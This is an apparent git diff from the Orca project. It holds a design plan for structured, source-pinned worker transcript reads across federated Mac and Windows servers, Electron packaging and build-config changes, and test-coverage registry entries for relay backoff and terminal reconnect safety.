||||
|
||||
The cursor is opaque to clients and contains only non-sensitive routing data:
|
||||
|
||||
- cursor version;
|
||||
- Dispatch ID;
|
||||
- source kind;
|
||||
- an opaque digest of the exact source identity;
|
||||
- provider-specific or terminal paging position.
|
||||
|
||||
It must not contain a transcript path.
|
||||
|
||||
On every continued read, the worker server:
|
||||
|
||||
1. revalidates the Dispatch's exact process attachment;
|
||||
2. resolves the current pane/session association;
|
||||
3. compares its source digest with the cursor;
|
||||
4. reads only when they still match; and
|
||||
5. otherwise returns `source_changed` or `worker_identity_changed`.
|
||||
|
||||
The cursor is source-pinned even when the request uses `--source auto`. `auto` chooses only on the
|
||||
first page.
|
||||
|
||||
The implementation uses a versioned stateless token. The token is not an authority credential:
|
||||
every read revalidates the Dispatch, process, pane, source digest, and provider session before
|
||||
returning data. This lets paging survive an Orca restart without adding cursor-secret persistence.
|
||||
|
||||
## Runtime architecture
|
||||
|
||||
### 1. Resolve the Dispatch at its Run home
|
||||
|
||||
The Run home remains authoritative for Task and Dispatch state. It looks up the Dispatch and its
|
||||
pinned worker server exactly as `worker-show` and the current `worker-read` do.
|
||||
|
||||
No automatic placement or server selection is added.
|
||||
|
||||
Current implementation anchors:
|
||||
|
||||
- `src/main/runtime/rpc/methods/orchestration-worker-control.ts` owns local and federated
|
||||
`worker-read` routing.
|
||||
- `src/main/runtime/rpc/methods/orchestration-worker-observation.ts` validates the exact attached
|
||||
worker.
|
||||
- `src/cli/handlers/orchestration.ts` owns the current CLI request and terminal rendering.
|
||||
|
||||
### 2. Route the read to the worker server
|
||||
|
||||
For a local worker, the Run home and worker server are the same runtime.
|
||||
|
||||
For a federated worker, the Run home calls the existing federation read route on the server pinned
|
||||
to the Dispatch. The request contains the Dispatch ID, source preference, cursor, and limit—not a
|
||||
terminal handle, session ID, or transcript path chosen by the coordinator.
|
||||
|
||||
### 3. Revalidate the exact worker
|
||||
|
||||
The worker server uses the existing Dispatch attachment to verify:
|
||||
|
||||
- the exact managed pane;
|
||||
- the exact terminal/process incarnation; and
|
||||
- that the Dispatch has not been replaced, stopped, or detached.
|
||||
|
||||
This preserves the same no-cross-worker rule already used by worker lifecycle and terminal reads.
|
||||
|
||||
### 4. Resolve the pane's provider session
|
||||
|
||||
Add one runtime-owned resolver that returns a snapshot similar to:
|
||||
|
||||
```ts
|
||||
type ExactWorkerProviderSession = {
|
||||
paneKey: string
|
||||
agent: TuiAgent
|
||||
providerSession: AgentProviderSessionMetadata
|
||||
observedAt: number
|
||||
}
|
||||
```
|
||||
|
||||
The resolver may use the current runtime graph/headless retained status, but it must accept the
|
||||
Dispatch's exact pane identity as input. It must not search all sessions by working directory or
|
||||
agent type.
|
||||
|
||||
The source association is considered usable only when:
|
||||
|
||||
- it belongs to the Dispatch's exact current pane/process;
|
||||
- the hook metadata is fresh enough to belong to that process incarnation;
|
||||
- the provider session metadata passes existing normalization/canonicalization; and
|
||||
- a supported adapter can resolve an exact transcript.
|
||||
|
||||
If these checks fail under `auto`, the read falls back to terminal output.
|
||||
|
||||
Current session/status anchors:
|
||||
|
||||
- `src/shared/agent-session-resume.ts` defines normalized provider-session metadata.
|
||||
- `src/renderer/src/store/slices/agent-status.ts` maintains pane-scoped live agent status.
|
||||
- `src/shared/runtime-types.ts` carries compatible agent status in runtime/mobile graph snapshots.
|
||||
- `src/main/runtime/orca-runtime.ts` preserves provider-session metadata when it publishes those
|
||||
snapshots.
|
||||
|
||||
### 5. Read through a narrow adapter
|
||||
|
||||
Reuse the existing bounded native-chat transcript parser rather than adding another parser stack.
|
||||
Extract or wrap its pure reader behind a small orchestration adapter:
|
||||
|
||||
```ts
|
||||
type WorkerTranscriptReader = {
|
||||
provider: 'codex' | 'claude' | 'openclaude' | 'grok'
|
||||
readPage(input: ExactTranscriptRead): Promise<ExactTranscriptPage>
|
||||
}
|
||||
```
|
||||
|
||||
This is deliberately not a registry for every possible agent capability. Add an adapter only when
|
||||
an exact locator and a tested reader already exist.
|
||||
|
||||
Current reader anchors:
|
||||
|
||||
- `src/main/native-chat/transcript-watch.ts` provides bounded transcript reads/subscriptions.
|
||||
- `src/main/runtime/rpc/methods/native-chat.ts` exposes the existing reader over runtime RPC.
|
||||
- `src/main/ipc/native-chat.ts` exposes the same reader to the desktop renderer.
|
||||
|
||||
The transcript response should preserve the existing structured message/block representation and
|
||||
the supported fields that the proven reader already understands. Unknown or skipped input should
|
||||
produce parsing warnings rather than being silently presented as a complete transcript.
|
||||
|
||||
### 6. Return bounded data
|
||||
|
||||
Every path enforces:
|
||||
|
||||
- at most 50 transcript messages per page (40 by default);
|
||||
- a maximum serialized response size;
|
||||
- existing clipping/redaction rules for large tool input and output;
|
||||
- opaque projection of transcript-position fallback IDs and redaction of Dispatch capability tokens;
|
||||
- deterministic pagination; and
|
||||
- no transcript path leakage.
|
||||
|
||||
Transcript observation is read-only. A failure or unknown network result must never trigger worker
|
||||
restart, retry, stop, or Task mutation.
|
||||
|
||||
## Federation and cross-platform behavior
|
||||
|
||||
The core topology is:
|
||||
|
||||
```text
|
||||
Mac Run home
|
||||
-> authenticated connected-server RPC
|
||||
-> Windows worker server
|
||||
-> exact Windows pane/session
|
||||
-> Windows-local transcript reader
|
||||
-> bounded structured page back to Mac
|
||||
```
|
||||
|
||||
The reverse direction must work identically.
|
||||
|
||||
Platform rules:
|
||||
|
||||
- Use Node path operations only on the server that owns the path.
|
||||
- Do not normalize Windows paths on macOS or macOS/Linux paths on Windows.
|
||||
- SSH and WSL execution remain behind their owning Orca server.
|
||||
- If the exact transcript is accessible only on an SSH/WSL execution host, the worker server must
|
||||
use an existing host-aware read mechanism or fall back to terminal. Do not copy the path to the
|
||||
Run home.
|
||||
- Mixed-version capability negotiation applies only at the Orca server protocol boundary.
|
||||
- A server that does not advertise structured worker read receives the existing terminal-read RPC.
|
||||
|
||||
Federation adds one narrow additive RPC, `orchestration.federationReadOutput`. The Run home probes
|
||||
it by calling it. If the worker server returns `method_not_found`, the Run home calls the existing
|
||||
`orchestration.federationRead` terminal method and wraps that result as a labeled
|
||||
`remote_capability_unavailable` fallback. No generalized capability matrix is added.
|
||||
|
||||
## Lifecycle behavior
|
||||
|
||||
### Provider session appears after worker start
|
||||
|
||||
Hooks may report a session after the TUI becomes ready. An initial `auto` read may therefore return
|
||||
terminal output. A later first-page `auto` read may select transcript output.
|
||||
|
||||
Once a cursor is returned, that cursor remains pinned to its selected source.
|
||||
|
||||
### Provider session changes
|
||||
|
||||
Compaction, resume, or process replacement may produce a new provider session:
|
||||
|
||||
- a fresh read without a cursor may select the new exact session;
|
||||
- a cursor for the old session returns `source_changed`;
|
||||
- Orca does not merge the old and new transcripts implicitly.
|
||||
|
||||
### Orca restart
|
||||
|
||||
After restart, the worker server re-establishes the exact pane/process association using the same
|
||||
runtime graph and retained-hook mechanisms used by sidebar/session recovery.
|
||||
|
||||
- If exact identity and session still match, paging continues.
|
||||
- If process identity is uncertain, return `worker_identity_changed`.
|
||||
- If only transcript identity is unavailable, `auto` may start a new terminal page but must not
|
||||
reinterpret an old transcript cursor as a terminal cursor.
|
||||
|
||||
### Disconnect
|
||||
|
||||
A disconnected federated read is a read-only unknown result. Reissuing the same read is safe.
|
||||
No mutation request ledger, durable outbox, automatic failover, or worker replacement is needed.
|
||||
|
||||
## Implementation plan
|
||||
|
||||
### Work package 1 — Correct the contract and types
|
||||
|
||||
- Update the orchestration checklist to replace the inaccurate claim that exact pane-to-session
|
||||
association does not exist.
|
||||
- Add the source preference, response envelope, fallback enums, and opaque cursor types.
|
||||
- Keep the existing terminal response fields compatible.
|
||||
- Add the CLI `--source` option and accept both legacy numeric and new opaque cursors.
|
||||
|
||||
Exit gate: contract tests cover legacy terminal JSON and the new labeled envelopes.
|
||||
|
||||
### Work package 2 — Runtime exact-session resolver
|
||||
|
||||
- Add a runtime method that resolves agent status for an exact Dispatch pane/process.
|
||||
- Reuse the existing graph/headless retained status and provider-session normalization.
|
||||
- Reject stale pane or process-incarnation associations.
|
||||
- Test multiple panes and multiple sessions in the same worktree and directory.
|
||||
|
||||
Exit gate: the resolver can never return a sibling pane's session.
|
||||
|
||||
### Work package 3 — Codex transcript adapter
|
||||
|
||||
- Reuse the current bounded native-chat Codex reader.
|
||||
- Add deterministic page conversion and parsing warnings.
|
||||
- Enforce entry and byte limits.
|
||||
- Produce a path-free source identity digest and cursor.
|
||||
- Add Claude only if it follows this same path without new infrastructure.
|
||||
|
||||
Exit gate: exact Codex transcript pages are stable, bounded, and contain no local path.
|
||||
|
||||
### Work package 4 — Local `worker-read`
|
||||
|
||||
- Resolve and validate the exact worker.
|
||||
- Implement `auto`, `transcript`, and `terminal`.
|
||||
- Pin the source across cursor pages.
|
||||
- Preserve the existing terminal fallback and non-JSON rendering.
|
||||
|
||||
Exit gate: local dogfood proves correct selection with several simultaneous same-directory Codex
|
||||
sessions.
|
||||
|
||||
### Work package 5 — Federated `worker-read`
|
||||
|
||||
- Add the narrow connected-server capability.
|
||||
- Route transcript resolution and reading to the worker server.
|
||||
- Wrap legacy remote terminal responses as labeled fallbacks.
|
||||
- Reject mismatched Dispatch/server/session cursors.
|
||||
- Ensure paths and internal server identity remain out of ordinary output.
|
||||
|
||||
Exit gate: physical Mac-to-Windows and Windows-to-Mac reads both pass.
|
||||
|
||||
### Work package 6 — Restart, fallback, and documentation
|
||||
|
||||
- Cover runtime restart, renderer restart, disconnect, stale status, missing hooks, unreadable
|
||||
transcript, unsupported providers, and mixed server versions.
|
||||
- Update CLI help, the orchestration skill, and the implementation checklist.
|
||||
- Dogfood the common coordinator loop using only the documented commands.
|
||||
|
||||
Exit gate: every fallback is truthful and no fallback changes worker lifecycle state.
|
||||
|
||||
## Validation plan
|
||||
|
||||
### Unit and contract tests
|
||||
|
||||
| Area | Required proof |
|
||||
| --------------------- | ------------------------------------------------------------------------------------ |
|
||||
| Exact resolution | A Dispatch resolves only its attached pane and process incarnation. |
|
||||
| No directory guessing | Two Codex sessions in the same worktree cannot cross-read. |
|
||||
| Source choice | `auto` prefers an exact supported transcript and otherwise labels terminal fallback. |
|
||||
| Explicit source | `transcript` fails truthfully when unavailable; `terminal` never probes transcript. |
|
||||
| Cursor pinning | Continued pages stay on the same source and provider session. |
|
||||
| Session replacement | An old cursor returns `source_changed`. |
|
||||
| Cursor custody | A cursor for another Dispatch is rejected. |
|
||||
| Parsing | Malformed/skipped transcript records produce bounded warnings. |
|
||||
| Limits | Entry count, block size, and total serialized response are bounded. |
|
||||
| Privacy | Responses and cursors contain no transcript path. |
|
||||
| Compatibility | Existing terminal fields and numeric cursors continue to work. |
|
||||
|
||||
Likely focused test locations:
|
||||
|
||||
- provider-session normalization and pane association tests;
|
||||
- native-chat transcript reader tests;
|
||||
- orchestration worker-control RPC tests;
|
||||
- orchestration worker CLI tests; and
|
||||
- federation protocol and physical harness tests.
|
||||
|
||||
### Local integration scenarios
|
||||
|
||||
1. Start a Codex worker and confirm the sidebar reports its provider session.
|
||||
2. Read the Dispatch and verify `source=transcript`.
|
||||
3. Start two Codex workers in the same worktree.
|
||||
4. Give them distinct prompts and verify neither read contains the other's content.
|
||||
5. Page both transcripts and verify stable source identities.
|
||||
6. replace or resume one session and verify its old cursor returns `source_changed`.
|
||||
7. Disable hooks and verify a labeled terminal fallback.
|
||||
8. Remove or make the transcript unreadable and verify a safe fallback or
|
||||
`transcript_required`, depending on the requested source.
|
||||
|
||||
### Physical federation matrix
|
||||
|
||||
| Run home | Worker server | Worker location | Required outcome |
|
||||
| -------- | ------------- | --------------- | --------------------------------------------------------------- |
|
||||
| macOS | Windows | native Windows | Exact structured page or labeled supported fallback |
|
||||
| Windows | macOS | native macOS | Exact structured page or labeled supported fallback |
|
||||
| macOS | macOS/Linux | SSH host | Exact host-aware page or terminal fallback without path leakage |
|
||||
| Windows | Windows | WSL | Exact host-aware page or terminal fallback without path leakage |
|
||||
|
||||
For both Mac/Windows directions:
|
||||
|
||||
- run multiple workers at once;
|
||||
- page beyond the first response;
|
||||
- restart the Run home;
|
||||
- restart the worker server;
|
||||
- disconnect and reconnect the server;
|
||||
- verify mixed-version fallback with one server lacking the new capability; and
|
||||
- compare the selected provider session with the sidebar/native-chat session for the same pane.
|
||||
|
||||
### Dogfood procedure
|
||||
|
||||
The dogfood is successful only if a coordinator can follow this loop without internal IDs:
|
||||
|
||||
1. Create/use a Run.
|
||||
2. Start one local worker and one connected-server worker.
|
||||
3. Wait for both starts to settle.
|
||||
4. Call `worker-read --source auto` for each Dispatch.
|
||||
5. Continue each cursor through at least two pages.
|
||||
6. Confirm output belongs to the correct prompt and machine.
|
||||
7. Trigger one fallback case.
|
||||
8. Complete both workers and confirm reads never altered lifecycle state.
|
||||
|
||||
Record:
|
||||
|
||||
- command and response;
|
||||
- chosen source and fallback reason;
|
||||
- worker server/platform;
|
||||
- provider and session match;
|
||||
- cursor behavior;
|
||||
- path-leak check;
|
||||
- restart/disconnect outcome; and
|
||||
- any agent confusion using only CLI help and the orchestration skill.
|
||||
|
||||
## Acceptance criteria
|
||||
|
||||
Implementation is complete only when:
|
||||
|
||||
- `worker-read` selects an exact transcript or returns a clearly labeled terminal fallback.
|
||||
- No test or dogfood scenario reads a sibling or previous provider session.
|
||||
- A cursor never switches source or provider session silently.
|
||||
- Mac-to-Windows and Windows-to-Mac physical reads pass.
|
||||
- Runtime restart and disconnect behavior are safe and understandable.
|
||||
- Unsupported agents and mixed versions retain useful terminal output.
|
||||
- Transcript paths never leave the server that owns them.
|
||||
- Existing terminal-read clients remain compatible.
|
||||
- The common agent path remains one command with no server/session/path inputs.
|
||||
- No UI, scheduling, retry, integration tracking, or generalized provider framework is added.
|
||||
|
||||
## Explicit non-goals
|
||||
|
||||
- No dashboard or sidebar changes.
|
||||
- No coordinator chat changes.
|
||||
- No automatic worker placement, retry, replacement, or recovery.
|
||||
- No commit, test, branch, merge, or integration tracking.
|
||||
- No provider-session locking or resume orchestration.
|
||||
- No live transcript subscription in the orchestration API.
|
||||
- No universal transcript/event ontology.
|
||||
- No cross-server filesystem access from the Run home.
|
||||
- No replicated Run database or automatic Run-home failover.
|
||||
- No generalized access-control or capability framework.
|
||||
|
||||
## Main risks and mitigations
|
||||
|
||||
| Risk | Mitigation |
|
||||
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
|
||||
| Live session status is stale or renderer-owned | Resolve through a runtime-owned exact-pane snapshot and bind it to process incarnation. |
|
||||
| Two sessions share a directory | Never use directory/latest-session lookup; require exact pane/session metadata. |
|
||||
| A session changes between pages | Pin source identity in the cursor and return `source_changed`. |
|
||||
| Remote path is meaningless or sensitive | Read only on the worker server and never serialize the path. |
|
||||
| Transcript parser drops data | Preserve supported structured blocks and return parsing warnings. |
|
||||
| Transcript metadata exposes a path/credential | Make file-position IDs opaque and redact Dispatch capabilities from all structured text/payloads. |
|
||||
| Mixed server versions | Negotiate one narrow capability and fall back to existing terminal read. |
|
||||
| Full-screen terminal output remains noisy | Prefer structured output only when exact; retain terminal as the universal safety path. |
|
||||
| Scope expands into a provider platform | Ship Codex first and require proven exact association plus an existing reader for every addition. |
|
||||
|
||||
## Decision
|
||||
|
||||
Implement structured worker output as a narrow extension of `worker-read`.
|
||||
|
||||
The prerequisite is not a new sidebar or status system: Orca already tracks exact pane-scoped
|
||||
provider sessions. The work is to make that existing association available to the worker-owning
|
||||
runtime, read the transcript locally through proven readers, pin pagination to that source, and
|
||||
federate only the bounded result.
|
||||
@@ -1,6 +1,10 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { join } from 'node:path'
|
||||
import type { NormalizedOutputOptions, OutputBundle, OutputChunk, Plugin } from 'rollup'
|
||||
import type { Plugin, Rollup } from 'vite'
|
||||
|
||||
type NormalizedOutputOptions = Rollup.NormalizedOutputOptions
|
||||
type OutputBundle = Rollup.OutputBundle
|
||||
type OutputChunk = Rollup.OutputChunk
|
||||
|
||||
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
|
||||
// chunk gained `require("electron")` (an import edge added in #7642), and the
|
||||
@@ -97,6 +101,8 @@ function smokeLoadDaemonEntry(outputDir: string): void {
|
||||
}
|
||||
|
||||
export function createPlainNodeEntryGuardPlugin(): Plugin {
|
||||
let daemonOutputDir: string | undefined
|
||||
|
||||
return {
|
||||
name: 'orca-plain-node-entry-guard',
|
||||
writeBundle(options: NormalizedOutputOptions, bundle: OutputBundle) {
|
||||
@@ -124,7 +130,14 @@ export function createPlainNodeEntryGuardPlugin(): Plugin {
|
||||
}
|
||||
|
||||
if (entryByName.has('daemon-entry') && options.dir) {
|
||||
smokeLoadDaemonEntry(options.dir)
|
||||
daemonOutputDir = options.dir
|
||||
}
|
||||
},
|
||||
closeBundle() {
|
||||
if (daemonOutputDir) {
|
||||
const outputDir = daemonOutputDir
|
||||
daemonOutputDir = undefined
|
||||
smokeLoadDaemonEntry(outputDir)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,6 +13,7 @@ const {
|
||||
} = require('./packaged-runtime-node-modules.cjs')
|
||||
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
|
||||
const { writeMacBuildCompatibility } = require('./scripts/mac-build-compatibility.cjs')
|
||||
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
|
||||
|
||||
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
|
||||
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
|
||||
@@ -35,11 +36,17 @@ const relayExtraResource = {
|
||||
from: 'out/relay',
|
||||
to: 'relay'
|
||||
}
|
||||
// Why: bundled plugins are immutable install inputs and must remain ordinary
|
||||
// directories so the startup bootstrap can verify and publish exact bytes.
|
||||
const bundledPluginResources = {
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
}
|
||||
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
|
||||
// from package directories where pnpm's symlink farm is absent. Copy the exact
|
||||
// runtime dependency closure to Resources/node_modules so bare require() calls
|
||||
// do not fall through to a developer checkout's node_modules.
|
||||
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
|
||||
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
|
||||
const macSpeechNativeResource = {
|
||||
from: 'node_modules/sherpa-onnx-darwin-${arch}',
|
||||
to: 'node_modules/sherpa-onnx-darwin-${arch}'
|
||||
@@ -83,6 +90,8 @@ module.exports = {
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js',
|
||||
// Why: Vite's manifest is only used to project the paired web client.
|
||||
'!out/renderer/.vite{,/**/*}',
|
||||
'!electron.vite.config.{js,ts,mjs,cjs}',
|
||||
'!{.eslintcache,eslint.config.mjs,.prettierignore,.prettierrc.yaml,CHANGELOG.md,README.md}',
|
||||
'!{.env,.env.*,.npmrc,pnpm-lock.yaml}',
|
||||
@@ -91,6 +100,9 @@ module.exports = {
|
||||
// it from process.resourcesPath; exclude the source copy from app.asar.
|
||||
'!resources/onboarding/feature-wall/**',
|
||||
'!resources/skills/**',
|
||||
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
|
||||
// packing the source tree into app.asar would duplicate those exact bytes.
|
||||
'!resources/plugins/launch/**',
|
||||
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
|
||||
// (beside the native resources/bin/orca.exe). Packing the source tree into
|
||||
// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
|
||||
@@ -133,6 +145,7 @@ module.exports = {
|
||||
'out/main/hermes/**',
|
||||
'out/main/win32-utils.js',
|
||||
'out/main/daemon-entry.js',
|
||||
'out/main/plugin-host-entry.js',
|
||||
'out/main/computer-sidecar.js',
|
||||
'out/main/parcel-watcher-process-entry.js',
|
||||
'out/main/chunks/**',
|
||||
@@ -201,6 +214,9 @@ module.exports = {
|
||||
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
|
||||
)
|
||||
}
|
||||
// Why: inspect electron-builder's real output so a broken extraResources
|
||||
// mapping fails packaging before bundled content reaches users.
|
||||
verifyPackagedPluginResources(resourcesDir)
|
||||
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
|
||||
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
|
||||
for (const filename of readdirSync(resourcesDir)) {
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
import { defineConfig } from 'electron-vite'
|
||||
import { electronViteConfig } from '../electron.vite.config'
|
||||
|
||||
const target = process.env.ORCA_ELECTRON_VITE_TARGET
|
||||
const configByTarget = {
|
||||
main: { main: electronViteConfig.main },
|
||||
preload: { preload: electronViteConfig.preload },
|
||||
renderer: { renderer: electronViteConfig.renderer }
|
||||
}
|
||||
|
||||
if (!target || !Object.prototype.hasOwnProperty.call(configByTarget, target)) {
|
||||
throw new Error(`Invalid ORCA_ELECTRON_VITE_TARGET: ${target ?? '<unset>'}`)
|
||||
}
|
||||
|
||||
export default defineConfig(configByTarget[target as keyof typeof configByTarget])
|
||||
+324
-17
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"updatedAt": "2026-07-25",
|
||||
"updatedAt": "2026-07-26",
|
||||
"policy": {
|
||||
"maturityLevels": [
|
||||
"experimental",
|
||||
@@ -141,6 +141,108 @@
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote if focused tests flake, HOST_OFFLINE can park indefinitely, direct probes serialize configured endpoints, loser cleanup leaks clients, or physical-device radio cost exceeds the measured budget."
|
||||
},
|
||||
{
|
||||
"id": "desktop-relay.assignment-backpressure",
|
||||
"title": "Desktop relay drain recovery cannot amplify a director outage",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "desktop-runtime",
|
||||
"layer": "main-relay-state-machine",
|
||||
"surfaces": [
|
||||
"desktop relay drain recovery",
|
||||
"director assignment overload",
|
||||
"relay broker shutdown"
|
||||
],
|
||||
"platforms": [
|
||||
"macos",
|
||||
"linux",
|
||||
"windows"
|
||||
],
|
||||
"providers": [
|
||||
"cloud-relay"
|
||||
],
|
||||
"coveredPlatforms": [
|
||||
"macos"
|
||||
],
|
||||
"coveredProviders": [
|
||||
"cloud-relay"
|
||||
],
|
||||
"coverageNotes": "Deterministic main-process tests cover duplicate drain notifications, full-jitter backoff, Retry-After during initial setup and drain recovery, successful recovery, and broker-close cleanup. Packaged desktop, mixed-version fleets, GFE, and production Cloud SQL remain live-test gaps.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca-cloud/actions/runs/30223521062"
|
||||
],
|
||||
"invariant": "One relay host may have at most one assignment attempt or retry timer per recovery path. Sustained director failure must increase the retry window up to five minutes, a bounded Retry-After must be respected during initial setup and drain recovery, shutdown must cancel pending work, and recovery must activate the authoritative assigned origin.",
|
||||
"oracle": "Inject duplicate drain events, deterministic randomness, fake time, repeated assignment failures, a 30-second Retry-After during initial setup and drain recovery, broker close, and eventual director recovery. Count every assignment call, require 500 ms then 1,000 ms retry windows, reject duplicate fanout, require no pre-hint retry or post-close work, and prove the recovered cell becomes authoritative.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/relay/relay-session-broker.test.ts src/main/runtime/relay/relay-http-client.test.ts src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts --reporter=dot"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/runtime/relay/relay-session-broker.test.ts",
|
||||
"src/main/runtime/relay/relay-http-client.test.ts",
|
||||
"src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/runtime/relay/relay-session-broker.test.ts",
|
||||
"assertions": [
|
||||
"duplicate drain notifications share one exponentially backed-off retry schedule",
|
||||
"Retry-After suppresses early assignment requests",
|
||||
"broker close prevents retry resurrection",
|
||||
"a later successful assignment activates the new origin"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/relay/relay-http-client.test.ts",
|
||||
"assertions": [
|
||||
"assignment overload preserves a bounded Retry-After hint"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts",
|
||||
"assertions": [
|
||||
"initial relay setup does not retry before Retry-After expires"
|
||||
]
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-26",
|
||||
"runner": "local",
|
||||
"platform": "macos",
|
||||
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/relay/relay-session-broker.test.ts src/main/runtime/relay/relay-http-client.test.ts src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts --reporter=dot",
|
||||
"result": "passed",
|
||||
"durationSeconds": 0.49,
|
||||
"summary": "Three focused relay files passed with 25 assertions."
|
||||
}
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 5,
|
||||
"scope": "focused desktop relay state-machine tests"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
"evidence": "One deterministic local run exists; CI and soak history are not yet available."
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "complete",
|
||||
"evidence": "The prior fixed-delay implementation issued a duplicate assignment within 499 ms and ignored Retry-After, while the candidate passes the byte-identical timer and call-count oracle."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "One host retains at most one assignment attempt or retry timer, retry windows grow to a five-minute cap, duplicate drain events add no calls, and close leaves no timer-driven work."
|
||||
},
|
||||
"promotionCriteria": [
|
||||
"Collect 100 consecutive CI passes or 14 days of soak history.",
|
||||
"Run a mixed-version load test with at least the incident-scale desktop population.",
|
||||
"Verify production director request rate decays during an injected assignment outage."
|
||||
],
|
||||
"knownGaps": [
|
||||
"No packaged desktop or physical phone was exercised.",
|
||||
"The deterministic seam does not measure production GFE, carrier NAT, DNS, TLS, or Cloud SQL behavior.",
|
||||
"Legacy desktop versions remain dependent on server-side overload protection."
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote if assignment calls overlap, duplicate drain events bypass backoff, Retry-After is ignored, close resurrects work, or mixed-version request rate exceeds the reviewed director budget."
|
||||
},
|
||||
{
|
||||
"id": "git-worktree.refresh-event-semantics",
|
||||
"title": "Index-only Git metadata cannot trigger structural worktree refresh fanout",
|
||||
@@ -1030,47 +1132,77 @@
|
||||
},
|
||||
{
|
||||
"id": "terminal-session.daemon-generation-reconnect-safety",
|
||||
"title": "Reconnect lifecycle echoes cannot kill live daemon-generation terminals",
|
||||
"title": "Negotiated close intent protects live daemon-generation terminals",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "terminal-runtime",
|
||||
"layer": "renderer-runtime-rpc-windows-daemon-contract",
|
||||
"layer": "renderer-runtime-rpc-daemon-contract",
|
||||
"surfaces": [
|
||||
"runtime session reconnect",
|
||||
"legacy daemon adoption",
|
||||
"mixed-version paired viewer close",
|
||||
"terminal lifecycle close",
|
||||
"app relaunch and profile reconnect"
|
||||
],
|
||||
"platforms": ["macos", "linux", "windows"],
|
||||
"providers": ["daemon", "runtime", "ssh", "wsl"],
|
||||
"coveredPlatforms": ["windows"],
|
||||
"coveredPlatforms": ["linux", "macos", "windows"],
|
||||
"coveredProviders": ["daemon", "runtime"],
|
||||
"coverageNotes": "Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The current harness additionally includes the v26 agent-authority boundary while retaining v24 clean-disconnect and v25 startup-ingress coverage; that six-generation Windows rerun remains to be collected. Deterministic host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, authenticated legacy and unattributed intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. Docker is unavailable and WSL is not installed on this runner, so live SSH/WSL remain gaps.",
|
||||
"coverageNotes": "Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca/issues/9749",
|
||||
"https://github.com/stablyai/orca/issues/9949",
|
||||
"https://github.com/stablyai/orca/issues/8871",
|
||||
"https://github.com/stablyai/orca/issues/9138",
|
||||
"https://github.com/stablyai/orca/issues/9229"
|
||||
],
|
||||
"invariant": "Reconnect, replay, or lifecycle observations must never kill a live PTY. Destructive close requires explicit user intent; lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Missing or incompatible evidence keeps and audits. Legacy daemon hello and warm reattachment remain non-destructive.",
|
||||
"oracle": "Start six isolated native-Windows daemon generations on distinct versioned named pipes, let the production desktop scanner discover v21-v25 from a v26 client, attach live and stale-mirror canaries with exact root/descendant PID-start identities, reconnect and relaunch the production router path, issue repeated desktop and remote-profile lifecycle closes, and require every daemon, root, and descendant to remain alive with zero session-killed events. Unit contracts require unknown/stale/reused/cross-profile claims and live PTYs to refuse without kill or renderer-close calls, old servers to return method_not_found with no destructive fallback, authenticated legacy and explicit user closes to remain destructive, and dead whole-headless state to retire without signalling its retained PTY id.",
|
||||
